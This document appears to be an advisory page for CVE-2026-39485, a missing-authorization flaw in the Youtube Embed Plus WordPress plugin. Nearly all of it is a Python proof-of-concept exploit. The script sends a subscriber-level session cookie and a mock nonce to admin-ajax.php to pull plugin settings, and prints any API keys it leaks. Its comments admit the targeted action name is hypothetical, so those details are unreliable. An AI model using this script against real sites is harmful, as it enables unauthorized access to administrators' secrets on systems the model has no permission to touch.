CVE-2026-39485 Youtube Embed Plus权限绕过漏洞

import requests # Exploit Title: Youtube Embed Plus < 14.2.4 - Missing Authorization PoC # Date: 2026-04-08 # CVE: CVE-2026-39485 # Description: This script demonstrates how a low-privileged user can access # restricted data due to missing authorization checks in the plugin. def exploit_missing_auth(target_url, session_cookie): """ Attempts to access a restricted endpoint using low-privilege cookies. """ # Target endpoint (hypothetical based on common plugin structure) # Adjust the endpoint based on the actual vulnerable route found in the plugin code url = f"{target_url}/wp-admin/admin-ajax.php" # Payload triggering the vulnerable action # 'action' parameter usually defines the function to call in WordPress plugins payload = { "action": "ytp_embed_plus_get_settings", "security": "mock_nonce" # Nonce might be missing or bypassed } # Headers simulating a logged-in user (Subscriber level) headers = { "Cookie": f"wordpress_logged_in_{session_cookie}" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) # Check if response contains sensitive data usually reserved for admins if response.status_code == 200 and "api_key" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Data:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:200]}") except Exception as e: print(f"[!] Error occurred: {e}") # Usage Example # target = "http://example.com" # cookie = "user_session_token_here" # exploit_missing_auth(target, cookie)